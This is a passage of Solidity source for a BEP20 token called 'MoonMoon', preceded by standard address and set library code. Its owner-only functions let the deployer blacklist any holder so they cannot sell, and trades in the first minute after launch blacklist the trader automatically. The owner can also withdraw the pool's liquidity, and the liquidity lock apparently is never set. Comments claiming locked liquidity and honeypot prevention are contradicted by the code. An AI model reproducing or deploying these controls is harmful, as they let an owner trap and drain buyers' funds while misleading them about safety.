Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } //Moon Moon Contract ///////////// contract MoonMoon is IBEP20, Ownable { using Address for address; using EnumerableSet for EnumerableSet.AddressSet; event ContractChanged(uint256 indexed value); event ContractChangedBool(bool indexed value); event ContractChangedAddress(address indexed value); event antiBotBan(address indexed value); mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _buyLock; EnumerableSet.AddressSet private _excluded; EnumerableSet.AddressSet private _isBlacklisted; //Token Info string private constant _name = 'MoonMoon'; string private constant _symbol = 'MNMN'; uint8 private constant _decimals = 9; uint256 public constant InitialSupply= 1000000000000 * 10**_decimals; //Amount to Swap variable uint256 currentAmountToSwap = 2000000000 * 10**_decimals; //Divider for the MaxBalance based on circulating Supply (1%) uint8 public constant BalanceLimitDivider=100; //Divider for sellLimit based on circulating Supply (0.25%) uint16 public constant SellLimitDivider=400; //Buyers get locked for MaxBuyLockTime (put in seconds, works better especially if changing later) so they can't buy repeatedly uint16 public constant MaxBuyLockTime= 9 seconds; //The time Liquidity gets locked at start and prolonged once it gets released uint256 private constant DefaultLiquidityLockTime= 1800; //DevWallets address public TeamWallet=payable(0x963Aa69545b799e6DE148A0c97CEcb74F4690029); address public walletTwo=payable(0x2fAf735616214FE58560923679291C31Ef024c1a); //Uniswap router (Main & Testnet) address private uniswapV2Router=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //variables that track balanceLimit and sellLimit, //can be updated based on circulating supply and Sell- and BalanceLimitDividers uint256 private _circulatingSupply =InitialSupply; uint256 public balanceLimit = _circulatingSupply; uint256 public sellLimit = _circulatingSupply; uint256 private antiWhale = 2500000000 * 10**_decimals; //Used for anti-bot autoblacklist uint256 private tradingEnabledAt; //DO NOT CHANGE, THIS IS FOR HOLDING A TIMESTAMP uint256 private autoBanTime = 60; // Set to the amount of time in seconds after enable trading you want addresses to be auto blacklisted if they buy/sell/transfer in this time. uint256 private enableAutoBlacklist = 1; //Leave 1 if using, set to 0 if not using. //Tracks the current Taxes, different Taxes can be applied for buy/sell/transfer uint8 private _buyTax; uint8 private _sellTax; uint8 private _transferTax; uint8 private _burnTax; uint8 private _liquidityTax; uint8 private _marketingTax; address private _uniswapV2PairAddress; IuniswapV2Router02 private _uniswapV2Router; //Constructor/////////// constructor () { //contract creator gets 90% of the token to create LP-Pair uint256 deployerBalance=_circulatingSupply; _balances[msg.sender] = deployerBalance; emit Transfer(address(0), msg.sender, deployerBalance); // Uniswap Router _uniswapV2Router = IuniswapV2Router02(uniswapV2Router); //Creates a Uniswap Pair _uniswapV2PairAddress = IuniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); //Sets Buy/Sell limits balanceLimit=InitialSupply/BalanceLimitDivider; sellLimit=InitialSupply/SellLimitDivider; //Sets buyLockTime buyLockTime=0; //Set Starting Taxes _buyTax=10; _sellTax=10; _transferTax=10; _burnTax=0; _liquidityTax=20; _marketingTax=80; //Team wallets and deployer are excluded from Taxes _excluded.add(TeamWallet); _excluded.add(walletTwo); _excluded.add(msg.sender); } //Transfer functionality/// //transfer function, every transfer runs through this function function _transfer(address sender, address recipient, uint256 amount) private{ require(sender != address(0), "Transfer from zero"); require(recipient != address(0), "Transfer to zero"); //Manually Excluded adresses are transfering tax and lock free bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient)); //Transactions from and to the contract are always tax and lock free bool isContractTransfer=(sender==address(this) || recipient==address(this)); //transfers between UniswapRouter and UniswapPair are tax and lock free address uniswapV2Router=address(_uniswapV2Router); bool isLiquidityTransfer = ((sender == _uniswapV2PairAddress && recipient == uniswapV2Router) || (recipient == _uniswapV2PairAddress && sender == uniswapV2Router)); //differentiate between buy/sell/transfer to apply different taxes/restrictions bool isBuy=sender==_uniswapV2PairAddress|| sender == uniswapV2Router; bool isSell=recipient==_uniswapV2PairAddress|| recipient == uniswapV2Router; //Pick transfer if(isContractTransfer || isLiquidityTransfer || isExcluded){ _feelessTransfer(sender, recipient, amount); } else{ //once trading is enabled, it can't be turned off again require(tradingEnabled,"trading not yet enabled"); _taxedTransfer(sender,recipient,amount,isBuy,isSell); } } //applies taxes, checks for limits, locks generates autoLP function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{ uint256 recipientBalance = _balances[recipient]; uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); uint8 tax; if(isSell){ //Sells can't exceed the sell limit require(amount<=sellLimit,"Dump protection"); require(_isBlacklisted.contains(sender) == false, "Address blacklisted!"); if (block.timestamp <= tradingEnabledAt + autoBanTime && enableAutoBlacklist == 1) { _isBlacklisted.add(sender); emit antiBotBan(sender); } tax=_sellTax; } else if(isBuy){ //Checks If the recipient balance(excluding Taxes) would exceed Balance Limit require(recipientBalance+amount<=balanceLimit,"whale protection"); require(amount <= antiWhale,"Tx amount exceeding max buy amount"); require(_isBlacklisted.contains(recipient) == false, "Address blacklisted!"); if (block.timestamp <= tradingEnabledAt + autoBanTime && enableAutoBlacklist == 1) { _isBlacklisted.add(recipient); emit antiBotBan(recipient); } tax=_buyTax; } else {//Transfer //Checks If the recipient balance(excluding Taxes) would exceed Balance Limit require(_isBlacklisted.contains(sender) == false, "Sender address blacklisted!"); require(_isBlacklisted.contains(recipient) == false, "Recipient address blacklisted!"); require(recipientBalance+amount<=balanceLimit,"whale protection"); if (block.timestamp <= tradingEnabledAt + autoBanTime && enableAutoBlacklist == 1) { _isBlacklisted.add(sender); emit antiBotBan(sender); } tax=_transferTax; } //Swapping AutoLP and MarketingETH is only possible if sender is not uniswapV2 pair, //if its not manually disabled, if its not already swapping and if its a Sell to avoid // people from causing a large price impact from repeatedly transfering when theres a large backlog of Tokens if((sender!=_uniswapV2PairAddress)&&(!manualConversion)&&(!_isSwappingContractModifier)&&isSell) _swapContractToken(); //Calculates the exact token amount for each tax uint256 tokensToBeBurnt=_calculateFee(amount, tax, _burnTax); uint256 contractToken=_calculateFee(amount, tax, _marketingTax+_liquidityTax); //Subtract the Taxed Tokens from the amount uint256 taxedAmount=amount-(tokensToBeBurnt + contractToken); //Removes token _removeToken(sender,amount); //Adds the taxed tokens to the contract wallet _balances[address(this)] += contractToken; //Burns tokens _circulatingSupply-=tokensToBeBurnt; //Adds token _addToken(recipient, taxedAmount); emit Transfer(sender,recipient,taxedAmount); } //Feeless transfer only transfers function _feelessTransfer(address sender, address recipient, uint256 amount) private{ uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); //Removes token _removeToken(sender,amount); //Adds token _addToken(recipient, amount); emit Transfer(sender,recipient,amount); } //Calculates the token that should be taxed function _calculateFee(uint256 amount, uint8 tax, uint8 taxPercent) private pure returns (uint256) { return (amount*tax*taxPercent) / 10000; } //balance that is claimable by the team uint256 public marketingBalance; //adds Token to balances function _addToken(address addr, uint256 amount) private { //the amount of token after transfer uint256 newAmount=_balances[addr]+amount; //sets newBalance _balances[addr]=newAmount; } //removes Token function _removeToken(address addr, uint256 amount) private { //the amount of token after transfer uint256 newAmount=_balances[addr]-amount; //sets newBalance _balances[addr]=newAmount; } //Swap Contract Tokens////////////////////////////////////////////////////////////////////////////////// //tracks auto generated ETH, useful for ticker etc uint256 public totalLPETH; //Locks the swap if already swapping bool private _isSwappingContractModifier; modifier lockTheSwap { _isSwappingContractModifier = true; _; _isSwappingContractModifier = false; } //swaps the token on the contract for Marketing ETH and LP Token. //always swaps the sellLimit of token to avoid a large price impact function _swapContractToken() private lockTheSwap{ uint256 contractBalance=_balances[address(this)]; uint16 totalTax=_marketingTax+_liquidityTax; uint256 tokenToSwap = currentAmountToSwap; //only swap if contractBalance is larger than tokenToSwap, and totalTax is unequal to 0 if(contractBalance<tokenToSwap||totalTax==0){ return; } //splits the token in TokenForLiquidity and tokenForMarketing uint256 tokenForLiquidity=(tokenToSwap*_liquidityTax)/totalTax; uint256 tokenForMarketing= tokenToSwap-tokenForLiquidity; //splits tokenForLiquidity in 2 halves uint256 liqToken=tokenForLiquidity/2; uint256 liqETHToken=tokenForLiquidity-liqToken; //swaps marktetingToken and the liquidity token half for ETH uint256 swapToken=liqETHToken+tokenForMarketing; //Gets the initial ETH balance uint256 initialETHBalance = address(this).balance; _swapTokenForETH(swapToken); uint256 newETH=(address(this).balance - initialETHBalance); //calculates the amount of ETH belonging to the LP-Pair and converts them to LP uint256 liqETH = (newETH*liqETHToken)/swapToken; _addLiquidity(liqToken, liqETH); //Get the ETH balance after LP generation to get the //exact amount of token left for marketing uint256 distributeETH=(address(this).balance - initialETHBalance); //distributes remaining BETHNB to Marketing marketingBalance+=distributeETH; } //swaps tokens on the contract for ETH function _swapTokenForETH(uint256 amount) private { _approve(address(this), address(_uniswapV2Router), amount); address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } //Adds Liquidity directly to the contract where LP are locked(unlike safemoon forks, that transfer it to the owner) function _addLiquidity(uint256 tokenamount, uint256 ethamount) private returns (uint256 tAmountSent, uint256 ethAmountSent) { totalLPETH+=ethamount; uint256 minETH = (ethamount*75) / 100; uint256 minTokens = (tokenamount*75) / 100; _approve(address(this), address(_uniswapV2Router), tokenamount); _uniswapV2Router.addLiquidityETH{value: ethamount}( address(this), tokenamount, minTokens, minETH, address(this), block.timestamp ); tAmountSent = tokenamount; ethAmountSent = ethamount; return (tAmountSent, ethAmountSent); } //public functions ///////////////////////////////////////////////////////////////////////////////////// function getLiquidityReleaseTimeInSeconds() external view returns (uint256){ if(block.timestamp<_liquidityUnlockTime){ return _liquidityUnlockTime-block.timestamp; } return 0; } function getBurnedTokens() external view returns(uint256){ return (InitialSupply-_circulatingSupply)/10**_decimals; } function getLimits() external view returns(uint256 balance, uint256 sell){ return(balanceLimit/10**_decimals, sellLimit/10**_decimals); } function getTaxes() external view returns(uint256 burnTax,uint256 liquidityTax, uint256 marketingTax, uint256 buyTax, uint256 sellTax, uint256 transferTax){ return (_burnTax,_liquidityTax,_marketingTax,_buyTax,_sellTax,_transferTax); } //How long is a given address still locked from buying function getAddressBuyLockTimeInSeconds(address AddressToCheck) external view returns (uint256){ uint256 lockTime=_buyLock[AddressToCheck]; if(lockTime<=block.timestamp) { return 0; } return lockTime-block.timestamp; } function getBuyLockTimeInSeconds() external view returns(uint256){ return buyLockTime; } //Functions every wallet can call //Resets buy lock of caller to the default buyLockTime should something go very wrong function AddressResetBuyLock() external{ _buyLock[msg.sender]=block.timestamp+buyLockTime; } //Settings////////////////////////////////////////////////////////////////////////////////////////////// bool public buyLockDisabled; uint256 public buyLockTime; bool public manualConversion; function TeamWithdrawALLMarketingETH() external onlyOwner{ uint256 amount=marketingBalance; marketingBalance=0; payable(TeamWallet).transfer((amount*50) / 100); payable(walletTwo).transfer((amount-(amount*50) / 100)); emit Transfer(address(this), TeamWallet, (amount*50) / 100); emit Transfer(address(this), walletTwo, (amount-(amount*50) / 100)); } function TeamWithdrawXMarketingETH(uint256 amount) external onlyOwner{ require(amount<=marketingBalance, "Error: Amount greater than available balance."); marketingBalance-=amount; payable(TeamWallet).transfer((amount*50) / 100); payable(walletTwo).transfer((amount-(amount*50) / 100)); emit Transfer(address(this), TeamWallet, (amount*50) / 100); emit Transfer(address(this), walletTwo, (amount-(amount*50) / 100)); } //switches autoLiquidity and marketing ETH generation during transfers function TeamSwitchManualETHConversion(bool manual) external onlyOwner{ manualConversion=manual; emit ContractChangedBool(manualConversion); } function TeamChangeAntiWhale(uint256 newAntiWhale) external onlyOwner{ antiWhale=newAntiWhale * 10**_decimals; emit ContractChanged(antiWhale); } function TeamChangeTeamWallet(address newTeamWallet) external onlyOwner{ require(newTeamWallet != address(0), "Error: Cannot be 0 address."); TeamWallet=payable(newTeamWallet); emit ContractChangedAddress(TeamWallet); } function TeamChangeWalletTwo(address newWalletTwo) external onlyOwner{ require(newWalletTwo != address(0), "Error: Cannot be 0 address."); walletTwo=payable(newWalletTwo); emit ContractChangedAddress(walletTwo); } //Disables the timeLock after buying for everyone function TeamDisableBuyLock(bool disabled) external onlyOwner{ buyLockDisabled=disabled; emit ContractChangedBool(buyLockDisabled); } //Sets BuyLockTime, needs to be lower than MaxBuyLockTime function TeamSetBuyLockTime(uint256 buyLockSeconds) external onlyOwner{ require(buyLockSeconds<=MaxBuyLockTime,"Buy Lock time too high"); buyLockTime=buyLockSeconds; emit ContractChanged(buyLockTime); } //Allows CA owner to change how much the contract sells to prevent massive contract sells as the token grows. function TeamUpdateAmountToSwap(uint256 newSwapAmount) external onlyOwner{ currentAmountToSwap = newSwapAmount; emit ContractChanged(currentAmountToSwap); } //Allows wallet exclusion to be added after launch function addWalletExclusion(address exclusionAdd) external onlyOwner{ _excluded.add(exclusionAdd); emit ContractChangedAddress(exclusionAdd); } //Allows you to remove wallet exclusions after launch function removeWalletExclusion(address exclusionRemove) external onlyOwner{ _excluded.remove(exclusionRemove); emit ContractChangedAddress(exclusionRemove); } //Adds address to blacklist and prevents sells, buys or transfers. function addAddressToBlacklist(address blacklistedAddress) external onlyOwner { _isBlacklisted.add(blacklistedAddress); emit ContractChangedAddress(blacklistedAddress); } //Remove address from blacklist and allow sells, buys or transfers. function removeAddressFromBlacklist(address blacklistedAddress) external onlyOwner { _isBlacklisted.remove(blacklistedAddress); emit ContractChangedAddress(blacklistedAddress); } //Sets Taxes, is limited by MaxTax(20%) to make it impossible to create honeypot function TeamSetTaxes(uint8 burnTaxes, uint8 liquidityTaxes, uint8 marketingTaxes, uint8 buyTax, uint8 sellTax, uint8 transferTax) external onlyOwner{ uint8 totalTax=burnTaxes+liquidityTaxes+marketingTaxes; require(totalTax==100, "burn+liq+marketing needs to equal 100%"); require(buyTax <= 20, "Error: Honeypot prevention prevents buyTax from exceeding 20."); require(sellTax <= 20, "Error: Honeypot prevention prevents sellTax from exceeding 20."); require(transferTax <= 20, "Error: Honeypot prevention prevents transferTax from exceeding 20."); _burnTax=burnTaxes; _liquidityTax=liquidityTaxes; _marketingTax=marketingTaxes; _buyTax=buyTax; _sellTax=sellTax; _transferTax=transferTax; emit ContractChanged(_burnTax); emit ContractChanged(_liquidityTax); emit ContractChanged(_buyTax); emit ContractChanged(_sellTax); emit ContractChanged(_transferTax); } //manually converts contract token to LP function TeamCreateLPandETH() external onlyOwner{ _swapContractToken(); } function teamUpdateUniswapRouter(address newRouter) external onlyOwner { require(newRouter != address(0), "Error: Cannot be 0 address."); uniswapV2Router=newRouter; emit ContractChangedAddress(newRouter); } //Limits need to be at least target, to avoid setting value to 0(avoid potential Honeypot) function TeamUpdateLimits(uint256 newBalanceLimit, uint256 newSellLimit) external onlyOwner{ //SellLimit needs to be below 1% to avoid a Large Price impact when generating auto LP require(newSellLimit<_circulatingSupply/100, "Error: New sell limit above 1% of circulating supply."); //Adds decimals to limits newBalanceLimit=newBalanceLimit*10**_decimals; newSellLimit=newSellLimit*10**_decimals; //Calculates the target Limits based on supply uint256 targetBalanceLimit=_circulatingSupply/BalanceLimitDivider; uint256 targetSellLimit=_circulatingSupply/SellLimitDivider; require((newBalanceLimit>=targetBalanceLimit), "newBalanceLimit needs to be at least target"); require((newSellLimit>=targetSellLimit), "newSellLimit needs to be at least target"); balanceLimit = newBalanceLimit; sellLimit = newSellLimit; emit ContractChanged(balanceLimit); emit ContractChanged(sellLimit); } //Setup Functions/////////////////////////////////////////////////////////////////////////////////////// bool public tradingEnabled; address private _liquidityTokenAddress; //Enables trading for everyone function SetupEnableTrading() external onlyOwner{ tradingEnabled=true; tradingEnabledAt=block.timestamp; } //Sets up the LP-Token Address required for LP Release function SetupLiquidityTokenAddress(address liquidityTokenAddress) external onlyOwner{ require(liquidityTokenAddress != address(0), "Error: Cannot be 0 address."); _liquidityTokenAddress=liquidityTokenAddress; } //Liquidity Lock//////////////////////////////////////////////////////////////////////////////////////// //the timestamp when Liquidity unlocks uint256 private _liquidityUnlockTime; //Adds time to LP lock in seconds. function TeamProlongLiquidityLockInSeconds(uint256 secondsUntilUnlock) external onlyOwner{ _prolongLiquidityLock(secondsUntilUnlock+block.timestamp); emit ContractChanged(secondsUntilUnlock+block.timestamp); } //Adds time to LP lock based on set time. function _prolongLiquidityLock(uint256 newUnlockTime) private{ // require new unlock time to be longer than old one require(newUnlockTime>_liquidityUnlockTime, "Error: New unlock time is shorter than old one."); _liquidityUnlockTime=newUnlockTime; emit ContractChanged(_liquidityUnlockTime); } //Release Liquidity Tokens once unlock time is over function TeamReleaseLiquidity() external onlyOwner returns (address tWAddress, uint256 amountSent) { //Only callable if liquidity Unlock time is over require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked"); IuniswapV2ERC20 liquidityToken = IuniswapV2ERC20(_liquidityTokenAddress); uint256 amount = liquidityToken.balanceOf(address(this)); //Liquidity release if something goes wrong at start liquidityToken.transfer(TeamWallet, amount); emit Transfer(address(this), TeamWallet, amount); tWAddress = TeamWallet; amountSent = amount; return (tWAddress, amountSent); } //Removes Liquidity once unlock Time is over, function TeamRemoveLiquidity() external onlyOwner returns (uint256 newBalance) { //Only callable if liquidity Unlock time is over require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked"); IuniswapV2ERC20 liquidityToken = IuniswapV2ERC20(_liquidityTokenAddress); uint256 amount = liquidityToken.balanceOf(address(this)); liquidityToken.approve(address(_uniswapV2Router),amount); //Removes Liquidity and adds it to marketing Balance uint256 initialETHBalance = address(this).balance; _uniswapV2Router.removeLiquidityETHSupportingFeeOnTransferTokens( address(this), amount, (amount*75) / 100, (amount*75) / 100, address(this), block.timestamp ); uint256 newETHBalance = address(this).balance-initialETHBalance; marketingBalance+=newETHBalance; newBalance=newETHBalance; return newBalance; } //Releases all remaining ETH on the contract wallet, so ETH wont be burned function TeamRemoveRemainingETH() external onlyOwner{ require(block.timestamp >= _liquidityUnlockTime, "Not yet unlocked"); (bool sent,) =TeamWallet.call{value: (address(this).balance)}(""); require(sent, "Error: Not sent."); } //////////////////////////////////////////////////////////////////////////////////////////////////////// //external////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////// receive() external payable {} fallback() external payable {} // IBEP20 function getOwner() external view override returns (address) { return owner(); } function name() external pure override returns (string memory) { return _name; } function symbol() external pure override returns (string memory) { return _symbol; } function decimals() external pure override returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _circulatingSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address _owner, address spender) external view override returns (uint256) { return _allowances[_owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(msg.sender, spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "Approve from zero"); require(spender != address(0), "Approve to zero"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "Transfer > allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } // IBEP20 - Helpers function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "<0 allowance"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } }
True
